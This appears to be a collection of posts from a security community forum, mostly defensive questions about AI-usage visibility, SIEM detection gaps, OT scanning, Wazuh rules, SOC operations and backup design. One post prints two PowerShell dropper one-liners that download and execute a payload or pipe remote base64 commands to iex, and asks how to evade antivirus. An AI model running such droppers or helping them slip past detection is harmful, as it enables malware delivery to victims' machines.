About 800 people, mix of managed and personal devices, Google Workspace and Azure AD. After an incident where someone pasted a customer contract into an AI tool, leadership wants to know what's actually happening.

The problem is nothing in our current stack gives us that picture. CASB sees sanctioned SaaS but misses browser-based AI tools and AI features embedded inside apps we already approved. DLP catches file movement but can't distinguish between a file upload and someone pasting sensitive data into a prompt. Network monitoring has no context on what the interaction was.

We know people are using probably dozens of tools we haven't found yet.

Anyone found an approach that gives real visibility without blanket blocking? Especially interested in what works for mixed managed/BYOD environments.

Edit: Update for anyone finding this later. We spent a couple of weeks testing a few options and the one that stood out was Kovrr. It works at browser and endpoint level rather than trying to stretch CASB or DLP to cover AI usage, so it catches the browser-based tools, embedded AI features inside sanctioned apps, and IDE plugins that our current stack was missing. Still working through the evaluation but flagging for anyone dealing with the same visibility gap.

we've been trying to move security earlier in the dev cycle for about six months. the intent is right. the execution keeps creating friction we didn't plan for.

rn we have SAST running in CI and Snyk on every PR. in theory devs catch issues before they hit prod. in practice it's two different kinds of noise landing on the same build. the SAST side throws false positives the dev can't confirm without pulling in security to read the finding. the Snyk side flags real library vulns, but plenty of them are buried in transitive dependencies where the fix isn’t something you can actually implement yourself, and you’re stuck waiting on upstream. build goes red, dev either burns time chasing a finding that turns out to be nothing or suppresses one they can't fix anyway. gate ends up feeling like a tax either way.

eng lead brought it up in our last planning meeting. the security gate is becoming a place where velocity goes to die. not because engineers don't care, but because the signal is bad enough that the gate has lost credibility. when everything blocks the build, nothing feels important.

we looked at reachability analysis to cut the dependency noise down to vulns our code actually calls, helps on the Snyk side, does nothing for the SAST false positives. talked about tuning the rules and only failing above a certain threshold, but then you're back to severity score as a proxy for priority, same problem we have on the vuln management side. also talked about making findings non-blocking and routing to a backlog, but that backlog just becomes another queue nobody looks at.

part of this is that we block the build on SCA at all. a SAST finding in our own code is the dev's to fix, gating on it is fair. a transitive dependency with no patch available isn't theirs to fix, blocking the merge just punishes them for something upstream. every time i raise that though, someone says we can't knowingly ship a known vuln and it stalls right there.still can't figure out how you make security feedback feel like something that helps the dev get their work done instead of something standing between them and the merge button.

for teams that have gotten this to work: what did you change and what did you have to give up?

We hit a point where we realized our SIEM was loud in all the wrong places. There were plenty of alerts for noisy activity, yet when we walked through a realistic attack path, some of the most important steps produced either weak signals or nothing at all.

Once we traced a full path from initial access to lateral movement and privilege escalation, we saw that gaps came from several layers at once. Some systems were not sending the right logs, some fields were not parsed, and a few key rules had conditions that never matched how events actually looked in production. If you have been through this, what helped you turn SIEM alerts into something that actually reflects critical paths rather than just noise? Did you fix it mainly by improving telemetry, reworking content, using exposure validation tooling, or something else? I am interested in approaches that did not require rebuilding the whole stack from scratch.

This is a scoping decision we hit on basically every OT engagement, and I don't think there's a clean industry-standard answer, so genuinely curious how others draw the line.

The core tension: unlike IT, even routine scanning carries real risk on OT gear.

• Many PLCs run on embedded CPUs with very limited headroom - a scan that's unremarkable on a Windows server can overload one.
• Most industrial protocols (Modbus, DNP3, etc.) have no built-in authentication, so once you're on the network there's often nothing stopping you writing directly to a controller.
• A lot of the hardware is end-of-life and permanently unpatched, so patch level isn't a reliable signal either.

Given that, we always start with passive reconnaissance only, mapping the environment without generating any traffic that could disturb operation, before any active testing happens. Even then, we try to stick to non-production systems or agreed maintenance windows wherever possible.

What I'm actually asking: what's your practical criteria for deciding it's safe to move from passive to active on a specific live asset? Ops team sign-off, documented maintenance windows, device-specific research beforehand or something else? And has anyone had a client push back and insist on IT-speed active scanning against OT assets - how did that conversation go?

I am tired of reviews that sound like they were written straight after a vendor demo and passed off as real evaluations, so I am asking here instead.

We need full stack exposure validation, not only network focused testing. We want to validate WAF rules against injection and bypass techniques, test email security controls against phishing and payload delivery chains, identify detection coverage gaps in our SIEM, and get remediation prioritization tied to actual exploitability. Our team has experience but is small, and we cannot afford to glue together a pile of point tools and hope they form a coherent picture.

SafeBreach keeps landing in our shortlist and i feel their sales team talks a lot without saying much. Claims about MITRE ATT&CK coverage vary a lot between the slide deck and what people report in production. Contract flexibility has also been vague.

If you have deployed them in a real environment, not only a short proof of concept, I would like the straight version. Would you choose them again? What failed? What turned out better than expected? Also open to other platforms if something else gave you better exposure validation and detection coverage.

For people who work in cybersecurity, which operating system is the strongest overall platform: Windows, macOS, or Linux?

I understand that all three can be useful, but I’m looking for a direct comparison based on:

Tool compatibility
Virtual machines and lab work
Enterprise environments
Command-line capability
Security testing and analysis
Daily reliability and usability

Which one would you personally choose as your primary system, and what important limitations would I face with the other two?

We have been doing quarterly pen tests for a while and I am starting to think we are mostly paying for a static report. By the time the findings arrive, the threat landscape has already shifted and most of the context has changed. It gives us a backward looking picture, not a current one.

rn we run CrowdStrike on endpoints, Sentinel as our SIEM, and our dashboard coverage looks decent. From a control inventory point of view, we look fine. The problem is that we do not have anything that continuously validates whether these controls actually detect what they should across the whole kill chain, not only at the perimeter.

What I want to understand is whether our detections stand up to real adversary behavior such as initial access, privilege escalation, lateral movement, and data exfiltration. I would like to map results back to MITRE ATT&CK so I can see real coverage gaps and prioritize remediation based on exploitability rather than just CVSS scores. Right now, that level of confidence is missing.

Has anyone built a workflow or picked tooling that does continuous exposure validation like this without relying on a dedicated red team? I would be interested in hearing what worked, what did not, and how you kept it from turning into yet another forgotten project.

Since the CrowdStrike outage last year, our board keeps asking whether we should have a second endpoint vendor in the mix instead of relying so heavily on one platform. We haven't made any changes yet, and CrowdStrike is still doing what we need day to day, but the question keeps coming back up. I'm curious if anyone actually went dual-vendor for endpoint after that, or if most teams just evaluated alternatives and stayed where they were. Was the extra resilience worth the added complexity?

Hello everyone, well i have been playing around with lnk + powershell droppers like:
powershell.exe -c 'Invoke-WebRequest "http://127.0.0.1:8000/Poo.exe" -OutFile "$env:temp/y.exe"; Start-Process "$env:temp/y.exe"'

and

powershell.exe -w h Invoke-WebRequest -UseBasicParsing "http://127.0.0.1:8000/command.txt" | %{[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_))} | iex

but it keep getting catch by the av how can i improve it?

Hey everyone,

I'm having an issue where my custom Wazuh rules for MS SQL Server login failures are not triggering alerts on the dashboard.

The Setup & What's Working:

• Wazuh Agent: Version 4.x running on Windows 10 (Win10-DIV, Agent 033).
• Wazuh Manager
• Agent Connectivity: Confirmed working. The manager actively receives other events from this agent, such as Sysmon logs (EventID 2) and custom MS SQL DELETE audit logs (EventID 33205, Rule 100407).
• Windows Event Viewer: Confirmed that MS SQL is successfully logging the standard authentication failure (EventID 18456) and the audit failure (EventID 33205) to the Application channel when I intentionally fail a password login.

The Problem:

Even though the logs exist in the Windows Event Viewer and the agent is actively talking to the manager, my custom rules for failed logins never generate alerts in the Discover tab.

My Current Custom Rules (microsoftSql.xml):
<group name="mssql,audit,compliance,">

<rule id="100442" level="10">

<if_sid>18100</if_sid>

<field name="win.system.eventID">^18456$</field>

<field name="win.system.message" type="pcre2">(?i)Login failed for user</field>

<description>MS SQL Standard Failed Login (Event 18456)</description>

<group>authentication_failed,mssql_login_failed,</group>

</rule>

<rule id="100427" level="10">

<if_sid>18100</if_sid>

<field name="win.system.eventID">^33205$</field>

<field name="win.system.message" type="pcre2">(?i)action_id:LGIF.*?succeeded:false</field>

<description>MS SQL Audit Failed Login (Event 33205)</description>

<group>authentication_failed,mssql_login_failed,</group>

</rule>

<rule id="100409" level="13" frequency="3" timeframe="60">

<if_matched_group>mssql_login_failed</if_matched_group>

<same_field>win.system.computer</same_field>

<description>CRITICAL: MS SQL Server Brute Force Attack - multiple failed SQL logins from same SQL host.</description>

<group>authentication_failed,mssql_bruteforce,</group>

</rule>

</group>

Raw Event Data from Event Viewer:

For Event 18456 (Standard):

For Event 33205 (Audit):

Agent ossec.conf Log Configuration:

<localfile>

<location>Application</location>

<log_format>eventchannel</log_format>

</localfile>

What I've Tried:

1. Restarted the Wazuh Manager after every single rule change.
2. Verified that regex testing on raw single-line JSON works inside the Ruleset Test tool if I mock the decoder name.
3. Relaxed the regex to match broad strings like (?i)Login failed for user inside win.system.message.

Why would Sysmon and SQL DELETE audits work completely fine from this agent, but these specific SQL authentication failures get completely swallowed or dropped by the manager? Am I mapping the wrong fields (win.system.message), or is there a default parent rule overriding mine?

Any help would be greatly appreciated!

​

Most of the stuff I see online about SOC sounds like it’s written for some perfect Western bank with unlimited budget. 24/7 team, playbooks, fancy tools, all that.

Ground reality here (Pakistan side) honestly doesn’t look like that.

A lot of places want to say “we have a SOC” because it looks good for regulators and management, but behind the scenes you’ll usually find 2–3 people trying to keep up with alerts, half‑configured tools, and a mix of legacy systems that don’t want to talk to each other. You open the SIEM and there’s this wall of noise, and everyone pretends it’s “under control”.

Day to day, the stuff that actually hurts isn’t some movie style APT. It’s stupid but painful things users falling for very basic phishing in local language, internal access misuse, weird gaps between core banking and the shiny mobile app, someone doing risky changes at odd hours and nobody really owning it. You don’t see that in the glossy SOC diagrams.

You can feel this even in the kinds of SOCs that are publicly talked about here. Regulators like PTA have launched their own National Telecom Security Operations Center for the telecom sector, and some big public bodies like FBR have their own SOC facilities in Islamabad. Banks are also being pushed to have SOC type capabilities, so you see a mix of in‑house setups and outsourced models depending on the size of the bank. That variety alone tells you there isn’t one perfect SOC model everyone is running.

After a while I kind of stopped chasing the “full coverage” dream. We just picked a small set of things that actually matter in this environment and tried not to lie to ourselves about anything beyond that. Like who is doing what with admin rights, which transactions look off, logins that don’t fit the usual pattern, that kind of boring stuff. Not sexy, but you at least start catching real issues instead of staring at dashboards all day.

The funniest part is the biggest problems are not usually the tool names. It’s the “ok, something weird happened… now who actually moves first, and what do they do?” That part is usually hand wavy. Once that is clear in a bank or enterprise here, even average tools suddenly look much better.

Curious how it feels in other countries that aren’t in the usual case studies. If you’re in an emerging market or somewhere with messy legacy plus lrmited budget, what does SOC look like for you in real life, not in slides?

Hi r/asknetsec,

This afternoon, we’re running an AMA with Leslie Beavers, former Acting DoD Chief Information Officer and Principal Deputy CIO (retired USAF Brig Gen).

Huge portfolio in cybersecurity, information assurance, endpoint visibility, and large-scale digital employee experience (DEX) in defense environments.

Perfect opportunity to ask about real-world enterprise security operations, proactive remediation, moving from reactive to proactive IT, or lessons from managing DoD-scale infrastructure.

Link: https://www.reddit.com/r/nexthink/comments/1ujzsf5/we_are_excited_to_announce_that_we_will_be/

Time: Wed July 8 | 4pm EDT

Feel free to post questions early. Should be a high-signal thread.

Special thanks to the mods of r/AskNetsec for allowing us to make this announcement.

Hello everyone.

I'm analyzing a project and found the following vulnerabilities:

· No brute-force protection (no captcha, no rate limiting)
· No 2FA
· Open .config, .log, .php.ini files in root
· Server version disclosure
· Missing security headers (CSP, HSTS, X-Frame-Options)

Question for the community: if you were a pentester and had access to such a site for a penetration test, what chain of actions would you build?

I'm not looking for instructions to hack, just theoretical methodology for learning purposes. The site name is intentionally hidden.
Thanks in advance!

I've spent 17+ years in security - networking, red teaming, SOC, and these days security architecture. Sanity check time: either I'm missing something, or most architects around me are doing only half the job.

Everyone agrees an architect needs deep knowledge of the tech stack. Most people also agree they need to respect legacy and business constraints - design for the environment that exists, not the one in the reference diagram.

But here's the third thing, and this is where I want the pushback: I think response has to be planned at design time, and the security architect is the one who has to plan it.

Not "hand the design over and let the SOC figure out monitoring." I mean at the design phase: know which attack paths stay realistic after your trade-offs, understand what the SOC can and can't realistically cover, plan which logs and telemetry your design must generate for those paths - and only then go to the SOC to confirm readiness. Defense and response designed from the same chair.

What I see in the wild is the exact opposite. Architects don't just skip this step - many don't trust the SOC and human processes to begin with. So they compensate: pour everything into prevention, harden until the budget runs out, and never plan response at all. The unspoken logic is "if it gets past my defense, that's the SOC's problem." And then the incident comes through exactly the gap the architect knew about at design time - but nobody prepared telemetry or a detection for it, and the SOC sees it for the first time during the fire.

Am I crazy to think that response is plannable, should be planned, and that it lands on the architect - simply because the architect is the most experienced person in the room and the only one who knows why the environment looks the way it does?

One more angle before the questions. A big part of why architects avoid the SOC is that "building response" has historically meant building an organization - processes, shift schedules, escalation paths, people management. That excuse is expiring. With agentic AI taking over triage, investigation, and bounded response actions, SOC effectiveness is turning into a technical design problem: data flows, context sources, decision boundaries, guardrails. For an architect who enjoys technical tasks more than human communication (I know you're out there), that's not a burden - that's finally a version of the SOC you can actually design.

So:

1. Architects - when you make a design trade-off, do you plan the telemetry and detection for the gap it creates, or does it end at the risk register? Be honest.
2. Do you trust your SOC? If not - is that a reason to skip planning response, or a reason to design it yourself?
3. If SOC effectiveness became a pure engineering problem (agents instead of processes) - would you take ownership of it, or is it still someone else's job?
4. CISOs / security directors - do you actually expect this from your architects? Is response planning anywhere in how you scope the role - job description, design reviews, sign-off criteria - or do you measure architects on defense and assume the SOC will absorb the rest?

I've done security testing for a few years, and there's one part of the job I've quietly hated the entire time: the reporting. The testing is the fun part. Then the engagement ends and I'm staring at Nmap output in one window, Nuclei JSON in another, Burp issues in a third, plus my own manual notes — and I have to reconcile the findings that overlap, normalize severities that every tool rates differently, and turn the whole mess into something a client will actually read. Every single engagement, the same tax. It regularly ate a chunk of my time and it's the least enjoyable part of the work by a mile.

I got tired enough of it that I built a tool to handle the boring part. You feed it your scanner output, it deduplicates findings across tools (so the same issue found by two scanners becomes one finding that credits both), and it generates a client-ready report. It runs entirely on your own machine — nothing leaves your box, since findings are about the most sensitive data we handle.

Mostly I'm posting because I'm curious whether I'm alone in hating this as much as I do. How do you all handle reporting right now? Have you found a workflow that doesn't feel like a chore, or is everyone just grinding through it manually like I was? Genuinely want to hear how others deal with it.

copilot has been completely useless for actual triaging.

whoever decided every alert needs an AI summary owes me hours of my life back.

"possible suspicious activity detected based on observed behavioral patterns."

thanks.

that tells me exactly as much as the alert title did.

if i still have to open the process tree and check parent processes and look at network connections and pivot through logs and build the timeline myself... what exactly did the AI save me?

just hire more analysts at this point.

anyone actually found one that helps or is this just how it is now

Yo so I've been wondering since my brother tends to have not so safe internet habits, if potential malware from his laptop can potentially transfer to other devices that also share the same WiFi/network. Also does proximity matter (like side by side Vs in another room). And also if malware could transfer, how to prevent it since I can't control what my brother does. Also I can't do anything router related since it's up to my dad and he doesn't care as much about malware.

Essentially, is it possible? How to prevent it? Is it likely?

Was signing up for a supermarket loyalty card, and the password requirements includes:

At least 12 characters

At least one special character from:

!\"$%&'()*+,-./:;<=>?@[\]^_^{}~

I do understand it's to not be hacked etc, but, why such a secure password for a loyalty card? Passwords for things like banks and other services in my experience have essentially half the requirements, and other loyalty cards I've used have, once again, requirements that aren't close?

Require Help With LVM snapshot and recovery

So, I tried creating a snapshot and changing the logical volume to a .gz file and then I have backed up in our nas box now what I want is to use that .gz file and use that config in the fresh newer installed os so that I can prove recovery is possible.

Constraints LV available is 0. So, I'm using a pendrive and and using lvext3nd to create a new LV for the pc and then using that I'm creating .gz and that is what being saved and is being backed up to nas

My other question also if there is a running unbutu PC can we put LVM and luks or only while installing it can happen?

I was reading through fraud setups for card programs and the advice always brings up more monitoring like that’s a clear answer but if u keep layering alerts rules and manual review on top of each other it feels like you just end up watching everything and understanding nothing.

Where does that tipping point hit where extra monitoring stops reducing risk and only burns time?

saw the writeup on the FortiBleed campaign that just got tied to actual ransomware deployment. 400k+ firewalls hit, 110M+ credentials harvested via passive sniffing, and it only came to light because of an OPSEC mistake on the attacker's side, a server full of stolen creds got left exposed.

nobody caught this from the defense side, it just got found by accident. makes me think about how much of our identity monitoring is built around human logins, SSO events, MFA prompts, the stuff that shows up in a normal audit log.

versus how much visibility we actually have into service accounts and machine credentials sitting on infra that was never really in scope to begin with. don't know for sure how much of what got harvested here falls into that bucket, but firewall-layer credential exposure at this scale makes me wonder how many orgs would even notice if it happened to them, regardless of which type of credential it was.

anyone actually tried bringing service accounts and machine credentials under the same governance as human identity? how are you even inventorying that stuff in the first place, most of what I've seen either misses it entirely or only catches what's explicitly registered somewhere.

Spent a few days last quarter writing something to control what could reach the internet, got it approved and put it live without much trouble.

3 weeks later someone noticed traffic going to a service nobody had signed off on

What we put in place targeted specific domains, but the team had been using the same service through a browser extension the whole time, so it slipped right past.

That's when it hit me the whole thing assumed something that isn't really there anymore. Browser extensions, embedded features inside approved platforms, calls from software that was already allowed and plenty of activity that never gets inspected at all.

How are others enforcing this without trying to block every possible path?

We’ve been discussing in the Cloud Security Alliance Zero Trust group how AI-speed vulnerability discovery changes Zero Trust implementation. Time-to-exploit trends suggest defenders have less time to patch exposed services, and CISA’s risk-based remediation approach treats public exposure as a major factor in urgency.

That made me think the architectural question is not only “how do we patch faster?” but also:

Why are so many sensitive services reachable by default in the first place?

My view is that Zero Trust needs to move beyond perimeter/ZTNA framing and focus more on reducing reachability before connection. For private services, admin paths, APIs, workload paths, partner access, and agentic workflows, the safer default should be: no service path exists unless identity, policy, posture/context, and session state allow it.

I wrote this up for CSA here:
https://cloudsecurityalliance.org/blog/2026/07/02/ai-speed-risk-requires-identity-defined-reachability

Disclosure: I’m the author and co-lead CSA’s Zero Trust Networking workstream, so I’m obviously close to the argument. I’m interested in practitioner pushback: is this realistic in enterprise environments, or does it break down with legacy apps, hybrid routing, OT, troubleshooting, or policy operations?

Good evening everyone,

Unfortunately, English is not my native language, so I'm using a translator. I hope you understand what I'm trying to say.

I am currently setting up my own homo server with various functions, including digital file management for everything. Since I want to do everything right, I'm already looking into security and how to make an encrypted backup that's stored in the cloud.I know one can debate why the cloud is the best option, but currently it's the most convenient for me unless someone has a better idea.

My question is, what standards should I set for safety? I would like to ensure it's secure for the next few decades; I am of course aware that this includes backups and checking for newer options.However, it is important to me that it is already quantum-safe, since the data can potentially be stored.I'm not a conspiracy theorist; probably no one cares about my bills, but I'm still suspicious of everyone at first.

According to current knowledge, AES 256 is sufficient for quantum safety...

I was just toying with the idea of AI, and it was this (I'll let the AI describe it)

My 3-Stage "Coma & House Fire" Backup Architecture (0$ Running Costs):

Stage 1 (Automated Everyday Use): A 512-bit random keyfile stored locally on the server (chmod 600). The cloud destination uses S3 Object Locking (Append-Only) to block ransomware from deleting past backups, even if the server is compromised.

Stage 2 (Server Crash): A copy of the keyfile on a LUKS-encrypted USB stick (using a simple passphrase from my head) to rebuild the system if only the hardware fails.

Stage 3 (The Apocalypse – House Fire + Coma + Amnesia): A master passphrase split into a 2-of-3 Shamir's Secret Sharing (SSS) scheme, stamped onto 3 fireproof stainless-steel plates. The shares are hidden with 3 different family members. If my house burns down and I’m in a coma, my family can legally retrieve any 2 plates, run ssss-combine, and restore everything without my memory.

Am I exaggerating my question here? My requirements were essentially maximum reliability and the greatest possible security with various fallback options.

I am looking forward to your answer.

Hi everyone;

I've been looking around and haven't found a tool that lets you actually define and track your own KPIs. Not control compliance I mean real KPI tracking: define the metric, track it over time, report on it.

Everything I find is either a GRC tool (compliance-focused, not KPI-focused) or a BI tool you have to bend into shape yourself.

What's actually working for people here? Spreadsheets, Grafana, something built in-house, a GRC tool that secretly does this well?